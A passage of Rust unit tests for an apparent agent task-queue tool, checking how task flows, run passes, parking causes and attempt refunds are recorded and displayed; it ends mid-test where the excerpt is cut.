15743 let mut t = Task::new(
15744 "t".to_owned(),
15745 "Do it".to_owned(),
15746 PathBuf::from("/repo/magi"),
15747 Source::Human,
15748 );
15749 for r in runs {
15750 t.start((*r).to_owned());
15751 }
15752 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15754 t
15755 }
15756
15757 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
15758 let h = task_history(task, |id| {
15759 states
15760 .iter()
15761 .find(|(i, _)| *i == id)
15762 .and_then(|(_, s)| s.clone())
15763 });
15764 task_flow(task, &h, 5, None)
15765 }
15766
15767 #[test]
15768 fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
15769 let queued = "2026-10-10T00:00:00Z".parse().unwrap();
15770 let created = "2026-10-10T01:00:00Z".parse().unwrap();
15771 let first = "2026-10-10T02:00:00Z".parse().unwrap();
15772 let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
15773 let held = "2026-10-10T04:00:00Z".parse().unwrap();
15774 let run = flow_run(RunStatus::Implementing, |s| {
15775 s.created_at = created;
15776 s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
15777 s.passes[0].started_at = first;
15778 s.passes[1].started_at = resumed;
15779 });
15780 let mut task = flow_task(&[RUN_X, RUN_X]);
15781 task.created_at = queued;
15782 task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
15783 task.status = TaskStatus::Held;
15784 task.held_at = Some(held);
15785 let flow = flow_for(&task, &[(RUN_X, Some(run))]);
15786 assert_eq!(
15787 flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
15788 vec![Some(queued), Some(first), Some(resumed), Some(held)]
15789 );
15790 assert!(flow.nodes.iter().all(|n| n.time_expected));
15791 let json = serde_json::to_value(&flow).unwrap();
15792 assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
15793 assert_eq!(json["nodes"][2]["time_expected"], true);
15794 }
15795
15796 #[test]
15797 fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
15798 let created = "2026-10-10T01:00:00Z".parse().unwrap();
15799 let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
15800 let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
15801 task.held_at = Some(created);
15803 task.blocked_at = Some(created);
15804 for status in [
15805 TaskStatus::Queued,
15806 TaskStatus::Running,
15807 TaskStatus::Blocked,
15808 TaskStatus::Done,
15809 TaskStatus::Failed,
15810 TaskStatus::Parked,
15811 TaskStatus::Held,
15812 ] {
15813 task.status = status;
15814 if status == TaskStatus::Held {
15815 task.held_at = None;
15816 }
15817 let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
15818 assert_eq!(flow.nodes[1].started_at, Some(created));
15819 assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
15820 assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
15821 assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
15822 let json = serde_json::to_value(&flow).unwrap();
15823 assert!(json["nodes"][3]["started_at"].is_null());
15824 assert_eq!(json["nodes"][3]["time_expected"], true);
15825 }
15826 }
15827
15828 #[test]
15829 fn flow_context_links_do_not_expect_start_times() {
15830 let mut task = flow_task(&[]);
15831 task.source = Source::Agent {
15832 run: "chat-id".to_owned(),
15833 node: "chat".to_owned(),
15834 };
15835 let origin = followup_origin(&fu(None), |_| None, |_| None);
15836 let flow = task_flow(&task, &[], 5, Some(&origin));
15837 for node in &flow.nodes[..2] {
15838 assert!(!node.time_expected);
15839 assert_eq!(node.started_at, None);
15840 }
15841 assert!(flow.nodes[2].time_expected);
15842 }
15843
15844 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
15845 crate::queue::FollowUp {
15846 run: "20260901-000000-aaaa".to_owned(),
15847 origin_task: origin_task.map(str::to_owned),
15848 pr: "https://example.com/o/r/pull/1".to_owned(),
15849 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
15850 .map(str::to_owned)
15851 .to_vec(),
15852 generation: 1,
15853 }
15854 }
15855
15856 fn parent_task() -> Task {
15857 let mut p = flow_task(&[]);
15858 p.title = "Parent title".to_owned();
15859 p.status = TaskStatus::Done;
15860 p
15861 }
15862
15863 #[test]
15864 fn flow_opens_with_the_parent_task_of_a_followup() {
15865 let p = parent_task();
15866 let pid = p.id.clone();
15867 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
15868 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15869 let n = &f.nodes[0];
15870 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
15871 assert_eq!(
15872 n.label,
15873 format!("Follow-up of {}", crate::queue::short(&pid))
15874 );
15875 assert_eq!(n.detail.as_deref(), Some("Parent title"));
15876 assert_eq!(n.status, Some("done"));
15877 assert_eq!(n.status_of, "task");
15878 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
15879 assert_eq!(f.nodes[1].key, "start");
15880 assert_eq!(f.edges[0].from, "origin");
15881 assert_eq!(
15882 f.edges[0].label,
15883 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
15884 );
15885 }
15886
15887 #[test]
15888 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
15889 let o = followup_origin(
15890 &fu(Some("gone")),
15891 |_| None,
15892 |_| {
15893 Some(RunState::new(
15894 std::path::PathBuf::from("."),
15895 "main".to_owned(),
15896 "0".to_owned(),
15897 "t".to_owned(),
15898 crate::config::Config::default(),
15899 ))
15900 },
15901 );
15902 assert!(o.parent.is_none());
15903 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15904 let n = &f.nodes[0];
15905 assert_eq!(n.status_of, "run");
15906 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
15907 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
15908 }
15909
15910 #[test]
15911 fn flow_followup_with_nothing_readable_has_no_link() {
15912 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
15913 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15914 let n = &f.nodes[0];
15915 assert_eq!(n.href, None);
15916 assert_eq!(n.note, Some("unreadable"));
15917 assert!(!n.readable);
15918 }
15919
15920 #[test]
15921 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
15922 let o = followup_origin(&fu(None), |_| None, |_| None);
15923 let mut t = flow_task(&[]);
15924 t.origin_chat = Some("c1".to_owned());
15925 let f = task_flow(&t, &[], 5, Some(&o));
15926 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
15927 t.source = Source::Agent {
15928 run: "c1".to_owned(),
15929 node: crate::queue::CHAT_NODE.to_owned(),
15930 };
15931 let f = task_flow(&t, &[], 5, Some(&o));
15932 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
15933 assert_eq!(
15934 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
15935 ("chat", "origin")
15936 );
15937 }
15938
15939 #[test]
15940 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
15941 let mut p = parent_task();
15942 p.id = "a b/c".to_owned();
15943 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
15944 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
15945 }
15946
15947 #[test]
15948 fn flow_opens_with_the_chat_that_queued_the_task() {
15949 let mut t = flow_task(&[]);
15950 t.source = Source::Agent {
15951 run: "a b/c".to_owned(),
15952 node: crate::queue::CHAT_NODE.to_owned(),
15953 };
15954 let f = flow_for(&t, &[]);
15955 assert_eq!(f.nodes[0].key, "chat");
15956 assert_eq!(f.nodes[0].kind, "chat");
15957 assert_eq!(
15958 f.nodes[0].label,
15959 format!("Chat {}", crate::queue::short("a b/c"))
15960 );
15961 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
15962 assert_eq!(f.nodes[1].key, "start");
15963 assert_eq!(
15964 f.edges[0],
15965 FlowEdge {
15966 from: "chat".to_owned(),
15967 to: "start".to_owned(),
15968 label: "queued from chat".to_owned(),
15969 attempt: AttemptCost::None,
15970 }
15971 );
15972 }
15973
15974 #[test]
15975 fn flow_has_no_chat_box_for_other_sources() {
15976 for source in [
15977 Source::Human,
15978 Source::Issue {
15979 number: 3,
15980 repo: "o/r".to_owned(),
15981 },
15982 Source::Agent {
15983 run: "20260904-014455-ab12".to_owned(),
15984 node: "implement".to_owned(),
15985 },
15986 ] {
15987 let mut t = flow_task(&[]);
15988 t.source = source;
15989 let f = flow_for(&t, &[]);
15990 assert_eq!(f.nodes[0].key, "start");
15991 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
15992 assert!(f.edges.iter().all(|e| e.from != "chat"));
15993 }
15994 }
15995
15996 const FA: &str = "20260902-140501-aaaa";
15997 const FB: &str = "20260902-140502-bbbb";
15998
15999 #[test]
16000 fn flow_follows_blocked_retry_merged_to_done() {
16001 let mut t = flow_task(&[FA, FB]);
16002 t.status = TaskStatus::Done;
16003 let f = flow_for(
16004 &t,
16005 &[
16006 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
16007 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
16008 ],
16009 );
16010 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
16011 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
16012 assert_eq!(f.edges.len(), 3);
16013 assert_eq!(f.edges[0].label, "claimed");
16014 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
16015 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16016 assert_eq!(f.edges[2].label, "merged \u{2192} done");
16017 assert_eq!(
16018 f.nodes[2].href.as_deref(),
16019 Some("#/runs/20260902-140502-bbbb")
16020 );
16021 assert!(f.nodes[2].decided);
16022 }
16023
16024 #[test]
16025 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
16026 let quota = || {
16027 flow_run(RunStatus::Stalled, |s| {
16028 s.quota.push(crate::run::QuotaLoss {
16029 seat: "judge-1".to_owned(),
16030 node: "judge".to_owned(),
16031 at: Timestamp::now(),
16032 reset: None,
16033 })
16034 })
16035 };
16036 let mut t = flow_task(&[FA, FA]);
16037 t.status = TaskStatus::Queued;
16038 let f = flow_for(&t, &[(FA, Some(quota()))]);
16039 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
16040 assert_eq!(f.nodes[1].note, Some("interrupted"));
16041 assert_eq!(
16042 f.nodes[1].status, None,
16043 "no outcome copied onto an earlier pass"
16044 );
16045 assert_eq!(
16046 f.edges[1].attempt,
16047 AttemptCost::Unknown,
16048 "a resume does not prove the earlier pass was refunded"
16049 );
16050 assert!(f.edges[1].label.contains("resume the same run"));
16051 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
16052 assert_eq!(
16053 f.edges[2].label,
16054 "stalled after a resume, refund unknown \u{2192} queued"
16055 );
16056 assert!(!f.nodes[2].decided, "a stall is not a decision");
16057 assert_eq!(f.nodes[2].note, Some("no verdict"));
16058 }
16059
16060 #[test]
16061 fn flow_single_pass_quota_stall_is_refunded() {
16062 let t = flow_task(&[FA]);
16063 let f = flow_for(
16064 &t,
16065 &[(
16066 FA,
16067 Some(flow_run(RunStatus::Stalled, |s| {
16068 s.quota.push(crate::run::QuotaLoss {
16069 seat: "judge-1".to_owned(),
16070 node: "judge".to_owned(),
16071 at: Timestamp::now(),
16072 reset: None,
16073 })
16074 })),
16075 )],
16076 );
16077 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16078 }
16079
16080 #[test]
16081 fn flow_parked_refunds_and_stall_without_quota_spends() {
16082 let mut t = flow_task(&[FA]);
16083 t.status = TaskStatus::Queued;
16084 let f = flow_for(
16085 &t,
16086 &[(
16087 FA,
16088 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
16089 )],
16090 );
16091 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
16092 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16093 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
16094 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16095 assert!(!f.nodes[1].decided);
16096 }
16097
16098 #[test]
16099 fn flow_keeps_an_unreadable_run_as_its_own_node() {
16100 let t = flow_task(&[FA, FB]);
16101 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
16102 assert_eq!(f.nodes[1].note, Some("unreadable"));
16103 assert!(!f.nodes[1].readable);
16104 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
16105 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
16106 }
16107
16108 #[test]
16109 fn flow_names_the_branch_of_a_review_only_run() {
16110 let t = flow_task(&[FA]);
16111 let f = flow_for(
16112 &t,
16113 &[(
16114 FA,
16115 Some(flow_run(RunStatus::Merged, |s| {
16116 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
16117 })),
16118 )],
16119 );
16120 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
16121 assert_eq!(
16122 f.nodes[1].detail.as_deref(),
16123 Some("review-only run of branch magi/x/A")
16124 );
16125 }
16126
16127 #[test]
16128 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
16129 let mut t = flow_task(&[FA]);
16130 t.status = TaskStatus::Held;
16131 let pr = crate::run::PrRecord {
16132 url: "https://example.test/pr/1".to_owned(),
16133 number: 1,
16134 state: "open".to_owned(),
16135 checks: "green".to_owned(),
16136 round: 0,
16137 rounds: 3,
16138 red_at_merge: Vec::new(),
16139 };
16140 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
16141 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
16142 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
16143 t.status = TaskStatus::Done;
16144 let f = flow_for(&t, &[(FA, Some(blocked))]);
16145 assert_eq!(f.edges[1].label, "closed by hand: task is done");
16146 }
16147
16148 #[test]
16149 fn flow_with_no_runs_goes_from_queued_to_queued() {
16150 let t = flow_task(&[]);
16151 let f = flow_for(&t, &[]);
16152 assert_eq!(f.nodes.len(), 2);
16153 assert_eq!(f.edges.len(), 1);
16154 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
16155 assert_eq!(f.edges[0].attempt, AttemptCost::None);
16156 }
16157
16158 #[test]
16161 fn a_parked_non_terminal_run_is_explained_as_parked() {
16162 let mut s = RunState::new(
16163 PathBuf::from("/repo/magi"),
16164 "main".to_owned(),
16165 "0123456789abcdef".to_owned(),
16166 "Do it".to_owned(),
16167 Config::default(),
16168 );
16169 s.status = RunStatus::Implementing;
16170 s.parked = true;
16171 let task = Task::new(
16172 "t".to_owned(),
16173 "Do it".to_owned(),
16174 PathBuf::from("/repo/magi"),
16175 Source::Human,
16176 );
16177 let v = task_run_view(
16178 "20260902-140501-aaaa",
16179 Some(&s),
16180 RunSlot {
16181 n: 1,
16182 resumed: false,
16183 resumed_later: None,
16184 prior: None,
16185 last: true,
16186 ..RunSlot::default()
16187 },
16188 &task,
16189 );
16190 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
16191 }
16192
16193 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
16194 let mut s = flow_run(RunStatus::Implementing, edit);
16195 s.parked = false;
16196 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
16197 task_run_view(
16198 "20260902-140501-aaaa",
16199 Some(&s),
16200 RunSlot {
16201 n: 1,
16202 resumed: false,
16203 resumed_later: Some(2),
16204 prior: None,
16205 last: false,
16206 ..RunSlot::default()
16207 },
16208 &task,
16209 )
16210 }
16211
16212 #[test]
16213 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
16214 let v = earlier_pass_view(|_| {});
16215 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
16216 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16217 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
16218 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
16219 assert_eq!(v.exit, RunExit::Interrupted);
16220 assert_eq!(v.attempt, AttemptCost::Unknown);
16221 }
16222
16223 #[test]
16224 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
16225 let v = earlier_pass_view(|s| {
16226 s.quota.push(crate::run::QuotaLoss {
16227 seat: "judge-1".to_owned(),
16228 node: "judge".to_owned(),
16229 at: Timestamp::now(),
16230 reset: None,
16231 });
16232 });
16233 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
16234 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16235 assert_eq!(v.attempt, AttemptCost::Unknown);
16236 }
16237
16238 #[test]
16239 fn the_current_pass_states_its_recorded_cause_and_cost() {
16240 let slot = || RunSlot {
16241 n: 1,
16242 resumed: false,
16243 resumed_later: None,
16244 prior: None,
16245 last: true,
16246 ..RunSlot::default()
16247 };
16248 let task = flow_task(&["20260902-140501-aaaa"]);
16249 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
16250 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
16251 assert_eq!(
16252 (v.exit, v.attempt),
16253 (RunExit::Parked, AttemptCost::Refunded)
16254 );
16255 let spent = flow_run(RunStatus::Blocked, |_| {});
16256 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
16257 assert_eq!(v.attempt, AttemptCost::Spent);
16258 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
16259 }
16260
16261 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
16262 crate::run::RunPass {
16263 index,
16264 started_at: Timestamp::now(),
16265 resumed: index > 0,
16266 ended_at: end.as_ref().map(|_| Timestamp::now()),
16267 end,
16268 task_entry: true,
16269 }
16270 }
16271
16272 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
16273 Some(crate::run::PassEnd::Parked { cause })
16274 }
16275
16276 fn upgrade_cause() -> crate::run::ParkCause {
16277 crate::run::ParkCause::Upgrade {
16278 from: "0.121.0".to_owned(),
16279 to: Some("0.121.1".to_owned()),
16280 }
16281 }
16282
16283 fn settled_pass(
16284 run: &str,
16285 index: usize,
16286 cost: crate::queue::PassCost,
16287 ) -> crate::queue::TaskPass {
16288 crate::queue::TaskPass {
16289 run: run.to_owned(),
16290 pass_index: index,
16291 started_at: None,
16292 cost,
16293 attempts_after: 1,
16294 settled_at: Timestamp::now(),
16295 parked: None,
16296 }
16297 }
16298
16299 const RUN_X: &str = "20261011-223708-4334";
16300
16301 #[test]
16302 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
16303 use crate::queue::PassCost;
16304 let run = flow_run(RunStatus::Implementing, |s| {
16305 s.passes = vec![
16306 recorded_pass(0, parked(upgrade_cause())),
16307 recorded_pass(1, None),
16308 ];
16309 });
16310 let mut task = flow_task(&[RUN_X, RUN_X]);
16311 task.attempts = 1;
16312 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16313 let h = task_history(&task, |_| Some(run.clone()));
16314 assert_eq!(h.len(), 2);
16315 assert_eq!(h[0].kind, "competition");
16316 assert_eq!(h[1].kind, "resume");
16317 assert_eq!(
16318 (h[0].exit, h[0].attempt),
16319 (RunExit::Parked, AttemptCost::Refunded)
16320 );
16321 assert!(
16322 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
16323 "{}",
16324 h[0].outcome
16325 );
16326 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
16327 assert!(
16328 h[0].outcome.contains("pass #2 resumed the same run"),
16329 "{}",
16330 h[0].outcome
16331 );
16332 assert!(
16333 h[0].outcome.contains("pass 1 of 2 over run"),
16334 "{}",
16335 h[0].outcome
16336 );
16337 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16338 assert_eq!(
16339 h[0].exit_label,
16340 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
16341 );
16342 let f = task_flow(&task, &h, 2, None);
16343 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
16345 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16346 assert!(
16347 f.edges[1].label.contains("upgrade 0.121.0"),
16348 "{}",
16349 f.edges[1].label
16350 );
16351 assert!(
16352 f.edges[1].label.contains("resume the same run"),
16353 "{}",
16354 f.edges[1].label
16355 );
16356 assert_eq!(f.nodes[1].note, Some("parked"));
16357 }
16358
16359 #[test]
16360 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
16361 let mut a = flow_run(RunStatus::Implementing, |s| {
16362 s.passes = vec![
16363 recorded_pass(0, parked(upgrade_cause())),
16364 recorded_pass(1, None),
16365 ];
16366 });
16367 let mut b = flow_run(RunStatus::Failed, |s| {
16368 s.passes = vec![recorded_pass(0, None)];
16369 });
16370 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
16371 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
16372 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
16373 let mut task = flow_task(&[]);
16374 task.start("a".into());
16375 task.start("b".into());
16376 task.start("a".into());
16377 assert_eq!(task.runs, ["b", "a"]);
16378 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
16379 let h = task_history(&task, |id| {
16380 Some(if id == "a" { a.clone() } else { b.clone() })
16381 });
16382 assert_eq!(
16383 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
16384 ["a", "b", "a"]
16385 );
16386 assert_eq!(h[0].attempt, AttemptCost::Refunded);
16387 assert!(h[0].outcome.contains("upgrade"));
16388 assert_eq!(h[2].kind, "resume");
16389 assert!(h[2].pass.is_some());
16390 task.runs = vec!["a".into(), "b".into(), "a".into()];
16392 let old = task_history(&task, |id| {
16393 Some(if id == "a" { a.clone() } else { b.clone() })
16394 });
16395 assert_eq!(
16396 old.iter()
16397 .map(|v| (&v.id, &v.kind, v.attempt))
16398 .collect::<Vec<_>>(),
16399 h.iter()
16400 .map(|v| (&v.id, &v.kind, v.attempt))
16401 .collect::<Vec<_>>()
16402 );
16403 }
16404
16405 #[test]
16406 fn an_upgrade_whose_target_was_not_known_says_so() {
16407 let run = flow_run(RunStatus::Implementing, |s| {
16408 s.passes = vec![
16409 recorded_pass(
16410 0,
16411 parked(crate::run::ParkCause::Upgrade {
16412 from: "0.121.0".to_owned(),
16413 to: None,
16414 }),
16415 ),
16416 recorded_pass(1, None),
16417 ];
16418 });
16419 let task = flow_task(&[RUN_X, RUN_X]);
16420 let h = task_history(&task, |_| Some(run.clone()));
16421 assert!(
16422 h[0].outcome.contains("upgrade from 0.121.0"),
16423 "{}",
16424 h[0].outcome
16425 );
16426 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16428 }
16429
16430 #[test]
16431 fn each_pass_keeps_its_own_cause_across_several_resumes() {
16432 use crate::queue::PassCost;
16433 use crate::run::ParkCause;
16434 let run = flow_run(RunStatus::Implementing, |s| {
16435 s.passes = vec![
16436 recorded_pass(0, parked(upgrade_cause())),
16437 recorded_pass(
16438 1,
16439 parked(ParkCause::Interrupt {
16440 reason: "task a1b2 asked to run first".to_owned(),
16441 }),
16442 ),
16443 recorded_pass(2, parked(ParkCause::Operator)),
16444 recorded_pass(3, None),
16445 ];
16446 });
16447 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
16448 task.attempts = 1;
16449 task.passes = (0..3)
16450 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
16451 .collect();
16452 let h = task_history(&task, |_| Some(run.clone()));
16453 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16454 assert!(
16455 h[1].outcome.contains("task a1b2 asked to run first"),
16456 "{}",
16457 h[1].outcome
16458 );
16459 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
16460 assert!(
16461 h[2].outcome.contains("operator asked the loop to park"),
16462 "{}",
16463 h[2].outcome
16464 );
16465 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
16466 let f = task_flow(&task, &h, 2, None);
16467 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
16468 }
16469
16470 #[test]
16471 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16472 let run = flow_run(RunStatus::Implementing, |s| {
16473 s.passes = vec![
16474 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16475 recorded_pass(1, None),
16476 ];
16477 });
16478 let task = flow_task(&[RUN_X, RUN_X]);
16479 let h = task_history(&task, |_| Some(run.clone()));
16480 assert_eq!(h[0].exit, RunExit::Interrupted);
16481 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16482 assert!(
16483 h[0].outcome.contains("without recording why"),
16484 "{}",
16485 h[0].outcome
16486 );
16487 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16488 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16489 }
16490
16491 #[test]
16492 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
16493 use crate::queue::PassCost;
16494 let run = flow_run(RunStatus::Implementing, |s| {
16497 s.passes = vec![
16498 recorded_pass(0, parked(upgrade_cause())),
16499 recorded_pass(1, None),
16500 ];
16501 });
16502 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
16503 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16504 let h = task_history(&task, |_| Some(run.clone()));
16505 assert!(h[0].pass.is_none());
16506 assert_eq!(h[0].exit, RunExit::Interrupted);
16507 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16508 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16509 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16510 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
16511 let legacy = flow_run(RunStatus::Implementing, |_| {});
16513 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
16514 assert!(h.iter().all(|v| v.pass.is_none()));
16515 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16516 }
16517
16518 #[test]
16519 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
16520 use crate::queue::PassCost;
16521 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
16524 web.task_entry = false;
16525 let run = flow_run(RunStatus::Implementing, |s| {
16526 s.passes = vec![
16527 recorded_pass(0, parked(upgrade_cause())),
16528 web.clone(),
16529 recorded_pass(2, None),
16530 ];
16531 });
16532 let mut task = flow_task(&[RUN_X, RUN_X]);
16533 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16534 let h = task_history(&task, |_| Some(run.clone()));
16535 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16536 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
16537
16538 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
16541 web0.task_entry = false;
16542 let run = flow_run(RunStatus::Implementing, |s| {
16543 s.passes = vec![web0.clone(), recorded_pass(1, None)];
16544 });
16545 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
16546 assert!(h[0].pass.is_none());
16547 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16548 assert!(h[1].pass.is_some());
16549 }
16550
16551 #[tokio::test]
16552 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
16553 let dir = tempfile::tempdir().unwrap();
16554 let queue = Queue::at(dir.path().join("queue"));
16555 let ui = Arc::new(Ui::new(
16556 queue.clone(),
16557 Questions::at(dir.path().join("questions")),
16558 Talks::at(dir.path().join("talks")),
16559 dir.path().join("runs"),
16560 dir.path().to_path_buf(),
16561 dir.path().to_path_buf(),
16562 ));
16563 let mut t = Task::new(
16564 "recover".into(),
16565 "Inspect".into(),
16566 PathBuf::from("."),
16567 Source::Human,
16568 );
16569 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
16570 t.start("run-A".into());
16571 t.release_operator("choice", Some("resume-question"));
16572 t.resume_override = Some(crate::queue::OperatorResume {
16573 question_id: "resume-question".into(),
16574 at: jiff::Timestamp::now(),
16575 conductor_rehold: None,
16576 forced: true,
16577 pinned_run: Some("run-A".into()),
16578 });
16579 t.hold_machine(Some("inspection pending".into()));
16580 t.edit("recover".into(), "Reuse approved PR head".into())
16581 .unwrap();
16582 queue.put(&mut t).unwrap();
16583 let mut cli = t.clone();
16584 cli.release_operator("cli", None);
16585 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
16586 let reloaded = queue.get(&t.id).unwrap();
16587 assert_eq!(reply.task.status, TaskStatus::Queued);
16588 assert!(reloaded.resume_override.is_none());
16589 assert_eq!(reloaded.answers, t.answers);
16590 let mut web = reloaded.resumption.unwrap();
16591 let cli = cli.resumption.unwrap();
16592 assert_eq!(web.source, "web");
16593 web.source = cli.source.clone();
16594 web.at = cli.at;
16595 assert_eq!(web, cli);
16596 }
16597
16598 #[tokio::test]
16599 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
16600 let f = Fixture::start().await;
16601 let queue = f.queue();
16602 let mut task = Task::new(
16603 "spent".to_owned(),
16604 "Try again".to_owned(),
16605 PathBuf::from("/repo/magi"),
16606 Source::Human,
16607 );
16608 task.start("20260902-140502-bbbb".to_owned());
16609 task.fail("agent gave up", 9);
